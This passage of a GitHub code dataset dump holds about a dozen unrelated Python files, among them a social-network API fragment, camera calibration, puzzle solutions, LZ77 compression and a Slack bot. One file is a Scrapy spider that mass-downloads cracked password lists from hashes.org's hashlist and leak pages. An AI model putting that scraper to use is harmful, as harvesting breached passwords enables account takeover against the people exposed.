Pyro5.client.Proxy(f'PYRO:actors@{IP}:8002') as node:\n actor = node.search(alias)\n if actor is None:\n raise HTTPException(status_code=404, detail=f\"Actor not found\")\n else:\n info[\"username\"]=actor.user_name\n info[\"alias\"]=alias\n info[\"followers\"]=len(actor.followers)\n info[\"following\"]=len(actor.following)\n info[\"isFollowing\"] = False\n if alias != current_user.alias and alias in current_user.following:\n info[\"isFollowing\"] = True\n return info\n\n@app.get(\"/{post_id}/get_shared_by\")\nasync def get_shared_info(post_id:str):\n try:\n with Pyro5.client.Proxy(f'PYRO:posts@{IP}:8002') as node:\n sp = node.search(share_post)\n if sp is None:\n raise HTTPException(status_code=404, detail=f\"Post not found\")\n \n if sp!=None and CACHE.is_in(f\"{sp.id}.shared\") and CACHE.get(f\"{sp.id}.shared\")[1] == sp.shared_soa:\n return CACHE.get(f\"{sp.id}.shared\")[0]\n \n else:\n CACHE.add(key=f\"{sp.id}.shared\", value=[\n deepcopy(sp.likes), sp.shared_soa])\n return sp._shared\n except:\n raise HTTPException(\n status_code=500, detail=f\"An error has occurred\")\n \n@app.get(\"/{post_id}/get_likes\")\nasync def get_likes_info(post_id:str):\n post=None\n \n try:\n with Pyro5.client.Proxy(f'PYRO:posts@{IP}:8002') as node:\n post=node.search(post_id)\n if post is None:\n raise HTTPException(status_code=404, detail=f\"Post not found\")\n except:\n raise HTTPException(\n status_code=500, detail=f\"An error has occurred\")\n \n if post!=None and CACHE.is_in(f\"{post.id}.likes\") and CACHE.get(f\"{post.id}.likes\")[1] == post.likes_soa:\n return CACHE.get(f\"{post.id}.likes\")[0]\n \n else:\n CACHE.add(key=f\"{post.id}.likes\", value=[\n deepcopy(post.likes), post.likes_soa])\n \n return post.likes\n \n@app.get(\"/{post_id}/get_replies\")\nasync def get_replies_info(post_id:str):\n \n post=None\n \n try:\n with Pyro5.client.Proxy(f'PYRO:posts@{IP}:8002') as node:\n post=node.search(post_id)\n if post is None:\n raise HTTPException(status_code=404, detail=f\"Post not found\")\n except:\n raise HTTPException(\n status_code=500, detail=f\"An error has occurred\")\n \n if post!=None and CACHE.is_in(f\"{post.id}.replies\") and CACHE.get(f\"{post.id}.replies\")[1] == post.replies_soa:\n return CACHE.get(f\"{post.id}.replies\")[0]\n \n else:\n CACHE.add(key=f\"{post.id}.replies\", value=[\n deepcopy(post.replies), post.replies_soa])\n \n return post.replies \n","repo_name":"Roar-Network/roar-backend","sub_path":"roar-backend/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":32454,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13167947023","text":"\nimport numpy as np\nimport cv2\nimport glob\nimport os\nimport os.path as path\nimport matplotlib.pyplot as plt\n\n\ndef corner_points(image_name, xct=9, yct=6):\n # read in each image\n \"\"\"\n Read mimage at image_name and return corner points.\n Reference: (udacity) https://youtu.be/lA-I22LtvD4\n :param image_name: path to image file to laod\n :param xct: expected count of x points\n :param yct: expected count of y points\n :return: found points\n \"\"\"\n image = cv2.imread(image_name)\n\n # convert image to grayscale\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n # find the chessboard corners\n return cv2.findChessboardCorners(gray, (xct, yct), None)\n\n\ndef calibration_points(image_names, xct=9, yct=6):\n \"\"\"\n Find calibration points for each input image.\n Reference: (udacity) https://youtu.be/lA-I22LtvD4\n :param image_names: list of image names to search\n :param xct: expected count of x points\n :param yct: expected count of y points\n :return:\n pattern_found will be of same size as input image_names,\n other outputs will exclude data when object not found\n object_points: expected object points array\n image_points: location of points in the image\n pattern_found: return value indicating handling if object was found, or False if not\n \"\"\"\n object_points = []\n image_points = []\n pattern_found = []\n\n objp = np.zeros((yct * xct, 3), np.float32)\n objp[:, :2] = np.mgrid[0:xct, 0:yct].T.reshape(-1, 2)\n\n for file_name in image_names:\n ret, corners = corner_points(file_name, xct=xct, yct=yct)\n\n pattern_found.append(ret)\n if ret:\n image_points.append(corners)\n object_points.append(objp)\n\n return object_points, image_points, pattern_found\n\n\ndef calibrate_camera(object_points, image_points, shape):\n \"\"\"\n Simple wrapper around cv2.calibrateCamera\n :param object_points: described object points\n :param image_points: associated points in image\n :param shape: shape of 2D image\n :return: ret, mtx, dist, rvecs, tvecs (same as cv2 function)\n \"\"\"\n return cv2.calibrateCamera(object_points, image_points, shape, None, None)\n\n\ndef undistort_image(image, mtx, dist, newMtx):\n \"\"\"\n Simple wrapper around cv2.undistort\n :param image: image to undistort and return\n :param mtx: camera matrix\n :param dist: distance coefficients\n :param newMtx: new matrix\n :return: corrected image\n \"\"\"\n return cv2.undistort(image, mtx, dist, None, newMtx)\n\n\ndef save_example(output_image_name, original_image, undistorted_image):\n fig = plt.figure()\n fig.subplots_adjust(hspace=.5)\n\n subplot = plt.subplot(1, 2, 1)\n subplot.axis('off')\n subplot.set_title('original')\n plt.imshow(original_image)\n\n subplot = plt.subplot(1, 2, 2)\n subplot.axis('off')\n subplot.set_title('undistorted')\n plt.imshow(undistorted_image)\n\n plt.savefig(output_image_name, bbox_inches='tight', dpi=150)\n print(\"saved to: {}\".format(output_image_name))\n\n\ndef demo_camera_calibration(image_names, output_folder, shape=(720, 1280), xct=9, yct=6):\n \"\"\"\n Display each of the images with the corner points drawn.\n :param image_names: list of image names to evaluate\n :param output_folder: folder to save demo images after processing\n :param shape: expected shape of each image in the list (they should all be same size)\n :param xct: expected count of x points\n :param yct: expected count of y points\n \"\"\"\n if not path.exists(output_folder):\n os.makedirs(output_folder)\n\n object_points, image_points, pattern_found = \\\n calibration_points(image_names, xct=xct, yct=yct)\n ret, mtx, dist, rvecs, tvecs = calibrate_camera(object_points, image_points, shape)\n\n skip = 0\n for i, file_name in enumerate(image_names):\n if pattern_found[i]:\n base_name = path.split(file_name)[1]\n original_image = cv2.imread(file_name)\n corners = image_points[i - skip]\n ret = pattern_found[i]\n\n # draw corners on image for demo purposes\n corner_image = cv2.drawChessboardCorners(np.array(original_image, copy=True), (xct, yct), corners, ret)\n\n # create an undistorted version of image (now with corners drawn)\n undistorted_image = undistort_image(corner_image, mtx, dist, mtx)\n\n # save an example of how the work looks at each step\n output_file_name = '/'.join([output_folder, \"example_{}\".format(base_name)])\n save_example(output_file_name, original_image, undistorted_image)\n else:\n skip += 1\n\n\ndef main():\n import optparse\n\n parser = optparse.OptionParser()\n parser.add_option('-c', '--calibrate_folder', dest='calibrate_folder', default='./camera_cal',\n help=\"path to folder of calibration images to use.\")\n parser.add_option('-o', '--output_folder', dest='output_folder', default='./output_folder',\n help=\"output folder to hold examples of images during process.\")\n parser.add_option('-p', '--pattern', dest='pattern', default='*.jpg',\n help=\"filename pattern to match all files to use for callibration.\")\n parser.add_option('-x', '--xct', dest='xct', default='9',\n help=\"expected number of x corners.\")\n parser.add_option('-y', '--yct', dest='yct', default='6',\n help=\"expected number of y corners.\")\n\n options, args = parser.parse_args()\n calibrate_folder = options.calibrate_folder\n output_folder = options.output_folder\n xct = int(options.xct)\n yct = int(options.yct)\n pattern = options.pattern\n\n # calibration demo\n calibrate_pattern = '/'.join([calibrate_folder, pattern])\n calibrate_names = glob.glob(calibrate_pattern)\n demo_camera_calibration(calibrate_names, output_folder, xct=xct, yct=yct)\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"morbrian/carnd-alf","sub_path":"camera_calibration.py","file_name":"camera_calibration.py","file_ext":"py","file_size_in_byte":5958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40631152316","text":"# encoding: utf-8\n# author: Alan-learner\n\n\nfrom Platform.Leetcode.Libs import *\n\n\nclass Solution:\n def numMatchingSubseq(self, s: str, words: List[str]) -> int:\n # 返回words中,可作为s的子序列字符串的个数\n dic = defaultdict(list)\n for i, v in enumerate(s):\n # 下标i只增不减,天然有序,即便分散到不同hash表中也是有序的\n dic[v].append(i)\n ans = 0\n for word in words:\n idx = 0\n for i, c in enumerate(word):\n # 依次向后二分查找\n inx = bisect_left(dic[c], idx)\n if inx >= len(dic[c]):\n break\n idx = dic[c][inx]\n idx += 1\n else:\n # 遍历完成,没有中途退出则符合条件\n ans += 1\n\n return ans\n\n\ndef main():\n s = Solution()\n res = s.numMatchingSubseq(s=\"abcde\", words=[\"a\", \"bb\", \"acd\", \"ace\"])\n print(res)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Alan-learner/Algorithm","sub_path":"Algorithm/binary_search/lc-792-bisect-hash_table.py","file_name":"lc-792-bisect-hash_table.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4234136843","text":"import re\nimport os\nimport scrapy\nfrom scrapy.crawler import CrawlerProcess\n\n\nUSER_AGENT = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) '\\\n 'AppleWebKit/537.36 (KHTML, like Gecko) '\\\n 'Chrome/75.0.3770.142 Safari/537.36'\n\nDOWNLOAD_DELAY = 0.2\nNO_OF_THREADS = 20\nPROXY = None\n\nOUTPUT_FOLDER = '/Users/PathakUmesh/Desktop/hashes'\n\n\nclass HashesSpider(scrapy.Spider):\n name = \"hashes_spider\"\n allowed_domains = [\"hashes.org\"]\n start_urls = [\n 'https://hashes.org/hashlists.php',\n 'https://hashes.org/leaks.php'\n ]\n\n def __init__(self):\n if not os.path.exists(OUTPUT_FOLDER):\n os.makedirs(OUTPUT_FOLDER)\n self.output_folder = OUTPUT_FOLDER\n\n def parse(self, response):\n links = response.xpath(\n '//a[button[@title=\"Download Founds\"]]/@href'\n ).extract()\n for link in links:\n if 'https://hashes.org/' not in link:\n link = 'https://hashes.org/' + link\n hash_id = re.findall(r'hashlistId=(\\d+)', link)\n output_file = os.path.join(\n self.output_folder, f'{hash_id[0]}.txt'\n )\n if os.path.exists(output_file):\n continue\n yield scrapy.Request(\n link,\n self.save_file,\n meta={'output_file': output_file}\n )\n\n def save_file(self, response):\n output_file = response.meta['output_file']\n with open(output_file, 'wb') as f:\n f.write(response.body)\n print(f'{output_file} done!!')\n\n\nif __name__ == '__main__':\n settings = {\n \"EXTENSIONS\": {\n \"extensions.log_exception_into_stats.LogExceptionIntoStats\": 0\n },\n \"DOWNLOADER_MIDDLEWARES\": {\n 'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware': None,\n 'scrapy.downloadermiddlewares.cookies.CookiesMiddleware': None,\n 'scrapy.downloadermiddlewares.retry.RetryMiddleware': 90,\n 'scrapy.downloadermiddlewares.defaultheaders.DefaultHeadersMiddleware': None\n },\n 'USER_AGENT': USER_AGENT,\n 'DOWNLOAD_DELAY': DOWNLOAD_DELAY,\n 'CONCURRENT_REQUESTS': NO_OF_THREADS,\n 'CONCURRENT_REQUESTS_PER_DOMAIN': NO_OF_THREADS,\n 'RETRY_HTTP_CODES': [403, 429, 500, 503],\n 'RETRY_TIMES': 10,\n 'LOG_ENABLED': True,\n\n }\n if PROXY:\n settings['DOWNLOADER_MIDDLEWARES'].update({\n 'scrapy_fake_useragent.middleware.RandomUserAgentMiddleware': 400,\n 'rotating_proxies.middlewares.RotatingProxyMiddleware': 610,\n 'rotating_proxies.middlewares.BanDetectionMiddleware': 620,\n })\n settings.update({\n 'ROTATING_PROXY_LIST': PROXY,\n\n })\n process = CrawlerProcess(settings)\n process.crawl(HashesSpider)\n process.start()\n","repo_name":"ken2190/Enterprise-Forum-Scraper","sub_path":"obsolete_scraper/hashes.py","file_name":"hashes.py","file_ext":"py","file_size_in_byte":2866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12369253674","text":"alien_0 = {'color': 'green', 'points': 5}\nalien_1 = {'color': 'yellow', 'points': 10}\nalien_2 = {'color': 'red', 'points': 15}\n\naliens = [alien_0, alien_1, alien_2]\nfor alien in aliens:\n print(alien)\n\n# Create a empty aliens list\naliens = []\n\n# Create a aliens list that there are 30 aliens.\nfor alien_number in range(30):\n new_alien = {'color': 'green', 'points': 5, 'speed': 'slow'}\n aliens.append(new_alien)\n\n# Display the first 5 aliens\nfor alien in aliens[:5]:\n print(alien)\nprint(\"...\")\n\n# Display how many aliens that been created\nprint(f\"Total number of aliens: {len(aliens)}\")\n\n# Create a empty aliens list\naliens = []\n\n# Create a aliens list that there are 30 aliens.\nfor alien_number in range(30):\n new_alien = {'color': 'green', 'points': 5, 'speed': 'slow'}\n aliens.append(new_alien)\n\nfor alien in aliens[:3]:\n if alien['color'] == 'green':\n alien['color'] = 'yellow'\n alien['speed'] = 'medium'\n alien['points'] = 10\n elif alien['color'] == 'yellow':\n alien['color'] = 'yellow'\n alien['spped'] = 'fast'\n alien['points'] = 15\n\n# Display the first 5 aliens\nfor alien in aliens[:5]:\n print(alien)\nprint(\"...\")\n","repo_name":"yiyidhuang/PythonCrashCrouse2nd","sub_path":"aliens.py","file_name":"aliens.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2477195695","text":"class Solution:\n def numberOfArithmeticSlices(self, A: List[int]) -> int:\n # dp solution:\n if len(A) < 3:\n return 0\n dp = [0] * len(A)\n result = 0\n for i in range(2, len(A)):\n if A[i-1] - A[i-2] == A[i] - A[i-1]:\n dp[i] = dp[i-1] + 1\n result += dp[i]\n return result\n","repo_name":"OhYoooo/Leetcode","sub_path":"python/413.arithmetic-slices.py","file_name":"413.arithmetic-slices.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7252437899","text":"import logging\nfrom DataConfiguration import DataConfiguration\nfrom fake_useragent import UserAgent\nimport scrapy\nimport pandas as pd\nfrom stockModel import StockData # Add this import\nimport os\nfrom CSVHandler import CSVHandler\n\nclass stockSpider(scrapy.Spider):\n name = \"stockSpider\"\n\n def __init__(self, ticker=None, endpoint=None, *args, **kwargs):\n super(stockSpider, self).__init__(*args, **kwargs)\n self.dt = DataConfiguration()\n self.ticker = ticker or 'ENAT3'\n self.url = endpoint or 'https://statusinvest.com.br/acoes/'\n self.csv_file = self.dt.myGeneratedCsvFile[0]\n self.tagList = self.dt.tagDictionary\n self.csv_handler = CSVHandler(self.csv_file, StockData)\n # Ensure the CSV file exists, and create it with the header row if it doesn't\n self.csv_handler.create_file_with_header()\n \n logging.basicConfig(filename='spider_log.log', level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')\n # Start Log\n logging.info(f\"File Start\")\n\n def start_requests(self):\n self.start_urls = [self.url + self.ticker]\n ua = UserAgent()\n headers = {\n 'User-Agent': ua.random\n }\n for url in self.start_urls:\n yield scrapy.Request(url, headers=headers, callback=self.parse)\n \n def extract_data(self, response):\n\n ticker = response.css(self.tagList['Ticker']).get().split(' - ')[0]\n company_name = response.css(self.tagList['cName']).get()\n current_value = response.css(self.tagList['cValue']).get()\n vpa = response.css(self.tagList['VPA']).get()\n lpa = response.css(self.tagList['LPA']).get()\n dy = response.css(self.tagList['DY']).get()\n dv = response.css(self.tagList['DV']).get()\n pl = response.css(self.tagList['PL']).get()\n pv = response.css(self.tagList['PV']).get()\n\n logging.info(f'Ticker: {ticker}')\n logging.info(f'Nome Companhia: {company_name}')\n logging.info(f'Valor atual: {current_value}')\n logging.info(f'VPA: {vpa}')\n logging.info(f'LPA: {lpa}')\n logging.info(f'DY: {dy}')\n logging.info(f'DV: {dv}')\n logging.info(f'PL: {pl}')\n logging.info(f'PV: {pv}')\n\n return StockData(ticker, company_name, current_value, vpa, lpa, dy, dv, pl, pv)\n\n def parse(self, response):\n try:\n # Log HTTP status code\n logging.info(f\"Received {response.status} status code for {response.url}\")\n\n # Check if the response status code is 200 (OK)\n if response.status == 200:\n stock_data = self.extract_data(response)\n\n # Append data to the CSV file\n self.csv_handler.append_data(stock_data)\n\n logging.info(f'Data appended to {self.csv_file}')\n\n else:\n # Log other status codes (not 200)\n logging.warning(f\"Received {response.status} status code for {response.url}\")\n\n except Exception as e:\n # Log the exception\n logging.error(f\"An error occurred while parsing: {e}\")\n\n\n","repo_name":"Khamull/AbyssalWebSpinner","sub_path":"WebSpinnerLair/CreepyCrawller/CreepyCrawller/spiders/stockspider.py","file_name":"stockspider.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7828568651","text":"import cv2\nimport numpy as np\nimgsrc = r'tree.png'\nimg = cv2.imread(imgsrc, 0)\nheight = img.shape[0]\nwidth = img.shape[1]\nnparrayimage = np.array(img)\narr = nparrayimage.flatten()\n\nwindow = int(input(\"Enter Window Size:\"))\nlookahead = int(input(\"Enter Lookahead Buffer Size:\"))\nsearch = window - lookahead -1\ndecodedarray = []\nl = 0\n# here the array of the fixed first search buffer used for decoding\nwhile l <= search:\n decodedarray.append(arr[l])\n l += 1\nstart = 0\nencoded_arr = []\nwhile start+window <= len(arr):\n pointer = arr[window+start-lookahead]\n pointerindex=window+start-lookahead\n start_searchbuffer = window+start-lookahead-1\n best_distance = 0\n i = start_searchbuffer\n distance = 0\n length = 0\n d = 0\n counter = 0\n check = 0\n char = pointer\n while i >= start:\n distance += 1\n if pointer == arr[i]:\n length = 1\n d = distance\n # if the matching is just the number only then take the nearest one\n if counter == 0:\n best_distance = distance\n counter += 1\n j = i+1\n while arr[j] == arr[pointerindex+1]:\n check = 1\n length = length +1\n j += 1\n pointerindex += 1\n char = arr[pointerindex+1]\n i -= 1\n if check == 0:\n d = best_distance\n encoded_arr.append(d)\n encoded_arr.append(length)\n encoded_arr.append(char)\n start = start+length+1\n\n\nEncode = np.array(encoded_arr, dtype=np.uint8)\nnp.save(\"EncodedFile\", Encode)\n\n# p is a pointer at the end of the fixed search buffer\np = decodedarray[search]\nc = 0\nwhile c < len(encoded_arr):\n distance = encoded_arr[c]\n l = encoded_arr[c+1]\n c = c + 2\n if distance == 0:\n decodedarray.append(encoded_arr[c])\n # to move the end of the fixed buffer to the new element added\n search += 1\n c = c+1\n p = decodedarray[search]\n else:\n search = search-distance+1\n u = 0\n while u < l:\n decodedarray.append(decodedarray[search])\n search += 1\n u += 1\n search = search + (distance - l) + l\n decodedarray.append(encoded_arr[c])\n c += 1\n\nif len(decodedarray) < len(arr):\n counter = len(decodedarray)\n while counter < len(arr):\n decodedarray.append(0)\n counter += 1\n\n\nnpbacktooriginal = np.array(decodedarray, dtype=np.uint8)\nnpbacktooriginal = npbacktooriginal.reshape(height, width)\ncv2.imshow('image', npbacktooriginal)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n\n\n\n\n","repo_name":"Nihal-Mansour/Image-Compression-using-LZ77","sub_path":"Lz77code.py","file_name":"Lz77code.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23548024931","text":"import sys\nfrom itertools import permutations\n\nclass Pancake:\n\n order = []\n k = 0\n solution = []\n solutions = []\n\n def __init__(self, order, k):\n self.order = order\n self.k = k\n self.solution = [True for x in xrange(0, len(order))]\n\n def isCorrect(self, data):\n return data == self.solution\n\n def flip(self, pos, order):\n for i in xrange(pos, pos + self.k):\n order[i] = not order[i]\n return order\n\n def applyPermutation(self, combo):\n temp = self.order[:]\n if self.isCorrect(temp):\n return 0\n count = 1\n for t in combo:\n temp = self.flip(t, temp)\n if self.isCorrect(temp):\n return count\n count = count + 1\n return -1\n\n\n def solve(self):\n pos = len(self.order) - self.k + 1\n indexes = []\n solutions = []\n for i in xrange(0, pos):\n indexes.append(i)\n for combo in permutations(indexes):\n test = self.applyPermutation(combo)\n if test >= 0:\n solutions.append(test)\n if len(solutions) > 0:\n return str(min(solutions))\n else:\n return \"IMPOSSIBLE\"\n\ndef main():\n f = open(sys.argv[1], 'r')\n f2 = open('output.txt', 'w')\n lines = f.readlines()\n f.close()\n counter = 1\n for line in lines:\n if counter == 1:\n counter = counter + 1\n continue\n parts = line.split(' ')\n orderString = list(parts[0])\n order = [x == '+' for x in orderString]\n k = int(parts[1])\n p = Pancake(order, k)\n result = p.solve()\n f2.write(\"Case #{0}: {1}\\n\".format(str(counter - 1), result))\n counter = counter + 1\n f2.close()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/3972.py","file_name":"3972.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15612352774","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n\r\n@author: Shashank Sapaliga, Shashwat Sagar, Ishpreet Kaur, Dhwani Shah\r\n\"\"\"\r\n\r\nfrom Tagger.Tagger import Tagger\r\nfrom Resources.ResourceBuilder import ResourceParser\r\n\r\nclass Processor():\r\n orientedReviews = {} \r\n finalOrientation = {}\r\n \r\n def __init__(self):\r\n self.t = Tagger()\r\n self.rp = ResourceParser()\r\n def addReview(self,w,i,orientation,negated):\r\n map = {}\r\n if negated:\r\n orientation *= -1 \r\n if w == \"misc\":\r\n map = Processor.orientedReviews[\"misc\"]\r\n else:\r\n map = Processor.orientedReviews[self.rp.features[w]]\r\n if i not in map:\r\n map[i] = orientation\r\n if w == \"misc\":\r\n Processor.orientedReviews[\"misc\"]=map\r\n else:\r\n Processor.orientedReviews[self.rp.features[w]]=map\r\n def summarize(self): \r\n for i in range(0,len(self.t.taggedReviews)):\r\n fullReview = self.t.taggedReviews[i]\r\n count = 0\r\n added = False\r\n orientation = 0\r\n done = 0\r\n negated = False\r\n while count < len(fullReview):\r\n opinionIndex = -1\r\n featureIndex = -1\r\n index = 0\r\n orientation = 0\r\n done =0 \r\n negated = False\r\n featureList = []\r\n taglist = []\r\n while count < len(fullReview) and (fullReview[count][1]) not in ('.',',',';',':'):\r\n taglist.append(fullReview[count])\r\n count+=1\r\n count+=1\r\n \r\n for word in taglist:\r\n if word[0] in self.rp.negations:\r\n negated = True\r\n \r\n elif word[0] in self.rp.positives or word[0] in self.rp.negatives:\r\n opinionIndex = index\r\n if word[0] in self.rp.positives:\r\n orientation += 1\r\n elif word[0] in self.rp.negatives:\r\n orientation += -1\r\n if done == 2:\r\n if abs(featureIndex-opinionIndex)<=5:\r\n for w in featureList:\r\n Processor.addReview(self,w,i,orientation,negated)\r\n added = True\r\n done=0\r\n negated = False\r\n orientation = 0\r\n featureList = []\r\n else:\r\n done=1\r\n elif word[0] in self.rp.features:\r\n featureIndex = index\r\n if done == 1:\r\n if abs(featureIndex-opinionIndex)<=5:\r\n Processor.addReview(self,word[0],i,orientation,negated)\r\n added = True\r\n done=0\r\n negated = False\r\n orientation = 0\r\n featureList = []\r\n else:\r\n done = 2\r\n featureList.append(word[0])\r\n index += 1\r\n if orientation == 0 and negated:\r\n for w in featureList:\r\n Processor.addReview(w,i,1,negated)\r\n added = True\r\n if done == 1 and (not added):\r\n Processor.addReview(self,\"misc\",i,orientation,negated)\r\n \r\n def createOrientedReviewsMap(self):\r\n allKeys = []\r\n for v in self.rp.features.values():\r\n allKeys.append(v)\r\n keys = set(allKeys)\r\n for key in keys:\r\n self.orientedReviews[key] = {}\r\n self.orientedReviews['misc'] = {} #FOR UI \r\n \r\n def removeFeaturesWithNoReview(self):\r\n keySet = []\r\n for i in self.orientedReviews.keys():\r\n keySet.append(i)\r\n keySet = set(keySet)\r\n emptyFeatures = []\r\n for key in keySet:\r\n if key not in self.orientedReviews:\r\n emptyFeatures.append(key)\r\n for features in emptyFeatures:\r\n self.orientedReviews.pop(features)\r\n \r\n def separatePositiveAndNegative(self):\r\n self.finalOrientation\r\n self.orientedReviews\r\n keys = []\r\n for i in self.orientedReviews.keys():\r\n keys.append(i)\r\n keys = set(keys)\r\n \r\n for key in keys:\r\n reviewSet = []\r\n positive = []\r\n negative = []\r\n indexing = self.orientedReviews[key]\r\n index=[]\r\n for i in indexing.keys():\r\n index.append(i)\r\n index = set(index)\r\n \r\n for j in index:\r\n if indexing[j] > 0:\r\n positive.append(j)\r\n elif indexing[j] < 0:\r\n negative.append(j)\r\n \r\n if len(positive) > 0 or len(negative) > 0:\r\n reviewSet.append(positive)\r\n reviewSet.append(negative)\r\n self.finalOrientation[key] = reviewSet\r\n","repo_name":"shashwatsagar/ReviewSummarizer","sub_path":"CustomerReviewSummarizer/Processor/Processor.py","file_name":"Processor.py","file_ext":"py","file_size_in_byte":5353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23580727261","text":"\r\n\r\ndef result(distance, horses):\r\n times = [(distance-pos)/speed for pos,speed in horses]\r\n maxtimes= max(times) \r\n return distance/maxtimes\r\n #print(horses)\r\n\r\n\r\nt = int(input()) \r\n\r\nfor i in range(1, t + 1): \r\n \r\n d,n = [int(k) for k in input().split(\" \")]\r\n horses = []\r\n for ii in range(n):\r\n pos,speed = [int(k) for k in input().split(\" \")]\r\n horses.append((pos,speed)) \r\n sortedhorses = sorted(horses,key=lambda x:x[0])\r\n avgspeed = result(d,sortedhorses)\r\n print(\"Case #{}: {} \".format(i, avgspeed))\r\n \r\n\r\n \r\n \r\n \r\n ","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_206/476.py","file_name":"476.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4055711841","text":"from django.conf import settings as django_settings\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render\nfrom django.views.decorators.http import require_POST\nfrom django.urls import reverse\n\nfrom .exceptions import NoWorkspaceError, SlackbotError\nfrom .models import SlackAdminUser, SlackRoulette, SlackWorkspace\nfrom matcher.models import Vote, Roulette, RouletteUser\nfrom .webapi import BotClient\n\n\ndef settings(request):\n slack_workspace = None\n if SlackWorkspace.objects.exists():\n slack_workspace = SlackWorkspace.objects.get()\n return render(request, 'slackbot/settings.html', {'slack_workspace': slack_workspace})\n\n\n@require_POST\ndef send_hello_to_admins(request):\n try:\n users = SlackAdminUser.objects.all()\n if len(users) == 0:\n return HttpResponseRedirect(reverse('slackbot:send_message_failure', args=['no_admins']))\n client = BotClient()\n for user in users:\n client.post_im(\n user, \"Hi! This is a test message sent from the Coffee Roulette Django backend.\")\n return HttpResponseRedirect(reverse('slackbot:send_message_success'))\n except NoWorkspaceError:\n return HttpResponseRedirect(reverse('slackbot:send_message_failure', args=['no_slack_workspace']))\n except Exception as ex:\n print(str(ex))\n return HttpResponseRedirect(reverse('slackbot:send_message_failure', args=['unknown_error']))\n\n\ndef send_message_success(request):\n return render(request, 'slackbot/send_message/success.html')\n\n\ndef send_message_failure(request, failure_type):\n return render(request, 'slackbot/send_message/failure.html', {'user': request.user, 'failure_type': failure_type})\n\n\n@ require_POST\ndef fetch_votes(request, roulette_id):\n failure_type = 'unknown'\n try:\n roulette = Roulette.objects.get(pk=int(roulette_id))\n if not roulette.canVotesBeChanged():\n failure_type = 'too_late_for_changing_votes'\n raise Exception()\n slack_roulette = SlackRoulette.objects.get(roulette=int(roulette_id))\n vote_list = BotClient().fetch_votes(slack_roulette)\n request.session['slackbot_vote_list'] = vote_list\n return HttpResponseRedirect(reverse('slackbot:fetch_votes_success', args=[roulette_id]))\n except SlackRoulette.DoesNotExist:\n failure_type = 'no_slack_thread'\n except NoWorkspaceError:\n failure_type = 'no_slack_workspace'\n except Exception as exception:\n print(exception)\n return HttpResponseRedirect(reverse('slackbot:fetch_votes_failure', args=[roulette_id, failure_type]))\n\n\ndef fetch_votes_success(request, roulette_id):\n vote_list = request.session.get('slackbot_vote_list', None)\n if vote_list is None:\n return HttpResponseRedirect(reverse('slackbot:fetch_votes_failure', args=[roulette_id, 'no_vote_list']))\n del request.session['slackbot_vote_list']\n vote_instances = []\n for vote_dict in vote_list[\"votes\"]:\n vote, _ = Vote.objects.update_or_create(\n roulette=int(vote_dict[\"roulette_id\"]),\n user=int(vote_dict[\"roulette_user_id\"]),\n defaults={\"choice\": vote_dict[\"choice\"]}\n )\n vote_instances.append(vote)\n vote_list[\"votes\"] = vote_instances\n SlackRoulette.objects.filter(roulette=roulette_id).update(\n latest_response_timestamp=vote_list[\"last_message_timestamp\"])\n return render(request, 'slackbot/fetch_votes/success.html', {'roulette_id': roulette_id, 'vote_list': vote_list})\n\n\ndef fetch_votes_failure(request, roulette_id, failure_type):\n return render(request, 'slackbot/fetch_votes/failure.html', {'roulette_id': roulette_id, 'failure_type': failure_type})\n","repo_name":"krakeusz/coffee-roulette","sub_path":"src/roulette/slackbot/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72312217793","text":"# @ FileName: gallbladder_dataset.py\n# @ Author: Alexis\n# @ Time: 20-11-28 下午9:17\n\nimport os\nimport torch\nimport pandas as pd\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms\nfrom PIL import Image\nimport SimpleITK as sitk\nimport numpy as np\n\n\nclass GallbladderDataset(Dataset):\n def __init__(self, csv_file, root_dir, transform=None):\n self.frame = pd.read_csv(csv_file, encoding='utf-8', header=None)\n self.root_dir = root_dir\n # print('csv_file source----->', csv_file)\n # print('root_dir source----->', root_dir)\n self.transform = transform\n\n def __len__(self):\n return len(self.frame)\n\n def __getitem__(self, idx):\n img_path = os.path.join(self.root_dir, self.frame.iloc[idx, 0])\n img_name = os.path.basename(img_path)\n # print(img_name)\n _, extension = 